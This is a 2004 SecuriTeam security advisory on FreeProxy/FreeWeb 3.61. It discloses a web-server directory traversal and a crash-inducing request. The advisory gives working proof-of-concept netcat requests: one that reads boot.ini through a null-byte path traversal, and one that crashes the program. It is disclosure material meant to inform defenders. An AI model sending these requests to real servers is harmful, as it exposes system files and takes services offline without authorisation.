[NT] FreeProxy/FreeWeb Multiple Vulnerabilities

From: SecuriTeam (support_at_securiteam.com)
Date: 01/11/04

  • Next message: SecuriTeam: "[EXPL] LFTP Remote Stack-Based Overflow" 
    To: list@securiteam.com
Date: 11 Jan 2004 12:24:04 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      FreeProxy/FreeWeb Multiple Vulnerabilities
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.alphalink.com.au/~gregr/freeproxy.htm> FreeProxy is
    "professional Freeware which channels requests for internet pages via a
    single computer and enables many computers to share an internet
    connection. If you have dial-up internet access, you can use the Demand
    Dial or Auto-Dial feature to dial up the internet either when it detects
    you want to access the internet (demand) or maintain a strict schedule of
    connection times (auto). Works fast with Cable/Broadband". Two security
    vulnerabilities in the product exist, one allows accessing of locally
    stored files, and the other allows remote attackers to launch a denial of
    service attack against the product.

    DETAILS

    Vulnerable systems:
     * FreeProxy/FreeWeb version 3.61 (prior to 9/Jan/2004)

    Immune systems:
     * FreeProxy/FreeWeb version 3.61 (after 9/Jan/2004)

    Directory Traversal:
    A directory traversal vulnerability exists within the web server part of
    this product, and not the proxy part of it.

    Example:
    C:>nc 192.168.1.100 80
    GET /../../../../../../../boot.ini%00.html HTTP/1.0

    HTTP/1.0 200 OK
    Server: FreeProxy/3.61
    Date: Fri, 09 Jan 2004 05:09:15 GMT
    Content-Type: application/octet-stream
    Last-Modified: Tue, 04 Nov 2003 16:55:36 GMT
    Content-Length: 194

    [boot loader]
    timeout=30
    default=multi(0)disk(0)rdisk(0)partition(1)WINDOWS
    [operating systems] multi(0)disk(0)rdisk(0)partition(1)WINDOWS="Microsoft
    Windows XP Professional"
    /fastdetect

    Denial of Service:
    When making an HTTP request for a function called 'CreateFile', causes the
    application to crash.

    Example:
    C:>nc 192.168.1.100 80
    GET CreateFile HTTP/1.0

    **Application Crashes**

    We get the following error message:
    Unhandled exception in FreeProxy.exe: 0xC0000005: Access Violation.

    ADDITIONAL INFORMATION

    The original advisory can be found at:
    <http://www.security-protocols.com/modules.php?name=News&file=article&sid=1691&mode=&order=0&thold=0> http://www.security-protocols.com/modules.php?name=News&file=article&sid=1691&mode=&order=0&thold=0.

    The information has been provided by
    <mailto:badpack3t@security-protocols.com> badpack3t.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

  • Next message: SecuriTeam: "[EXPL] LFTP Remote Stack-Based Overflow"

    Relevant Pages

    • RE: Comments on 5 IE vulnerabilities
      ... For those who have opened up the Internet Options, ... Enterprise Security and Privacy Programs ... Despite the severity of some of the vulnerabilities posted by Liu Die Yu, ... I have locked down the My Computer security zone ...
      (Focus-Microsoft)
    • RE: NAT/PAT (Hide NAT) Vulnerabilities?
      ... Subject: NAT/PAT Vulnerabilities? ... Preventing incoming connections will do a lot to improve your security, ... internal machines can reach the Internet through the ... You can't start a connection with an internal system ...
      (Security-Basics)
    • [NT] Vulnerability in Microsoft Data Access Components Allows Code Execution (MS07-009)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Get your security news from a reliable source. ... this vulnerability by preventing Active Scripting and ActiveX controls ... mode sets the security level for the Internet zone to High. ...
      (Securiteam)
    • RE: application for an employment
      ... As much as I dislike most of the laws covering these issues, I'm grateful for the discussion of them in this thread. ... But I'm no less of the opinion that the laws governing these aspects of cyber-security are biased in favor of large entities with elaborate online presences, and those people who serve them. ... The mere examination of the possibility of there being vulnerabilities in an organization's internet presence is virtually equated with the act of mailicously exploiting such a weakness. ...
      (Security-Basics)
    • Testimony of Jeff Schmidt, CEO, Authis
      ... Examining the Security Implications of Proposed Online Gambling Regulation ... recognized expert on issues related to online identification and authentication, ... authentication, and age verification. ... individual using The Internet. ...
      (rec.gambling.poker)